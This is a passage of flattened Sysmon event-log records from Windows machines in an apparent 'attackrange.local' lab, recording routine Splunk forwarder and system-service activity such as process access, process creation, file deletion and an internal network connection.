15:02:33.846{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017109Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.846{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017108Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.846{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017107Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.846{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017106Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.846{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017105Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.846{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017104Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.846{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017103Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.846{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7389-613B-1605-00000000F101}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017102Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.846{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7389-613B-1605-00000000F101}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017101Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.847{625C326B-7389-613B-1605-00000000F101}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017100Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.596{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DA9B82C868BC03D8D33E6152A0B68246,SHA256=90B8551C606553D9265C73DBEC33E18EA44B34B3D75FD731567D585C1158BD4C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:33.625{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DCB4000C971164CE36F98D2B733BF2D6,SHA256=3344CEA39440F1CF1EA09D3B83B2B941B2914270D9FA1D5C24746C45DA13A8F4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:34.641{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DC0ADA6F59852D2CE8A9D3E3FCAA00DD,SHA256=ABF95E6BF2B407CF6F55D392EA072512E5C0A7135744F660B342DE0F53B62BA9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017115Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:34.659{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=96C8078AE08A654BA80B661C11D66C8A,SHA256=28EEF1261F51E76CDB939131BBFF12F335A25016F716CFCE86BE7B9BAFDA9CED,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017114Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:34.096{625C326B-7389-613B-1605-00000000F101}37321624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000053389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:32.384{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59646-false10.0.1.12-8000- 23542300x800000000000000053391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:35.671{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6108CE5739A7A47772FDBE807DABDA7C,SHA256=6CE4EFB2B1AC40A17CC9EE8846932535FA2D922A5EAA00E1376F98367CF6FE36,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017145Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.706{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=72F3DE10127C22C018B0C9EF441AD1D7,SHA256=C01666B990EEB59D39D70212AB5E685B838A037C62780ED065F3124D84D1F48B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017144Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-738B-613B-1805-00000000F101}3104C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017143Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017142Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017141Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017140Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017139Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017138Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017137Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017136Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017135Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-738B-613B-1805-00000000F101}3104C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017134Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017133Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.565{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-738B-613B-1805-00000000F101}3104C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017132Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.566{625C326B-738B-613B-1805-00000000F101}3104C:\Program 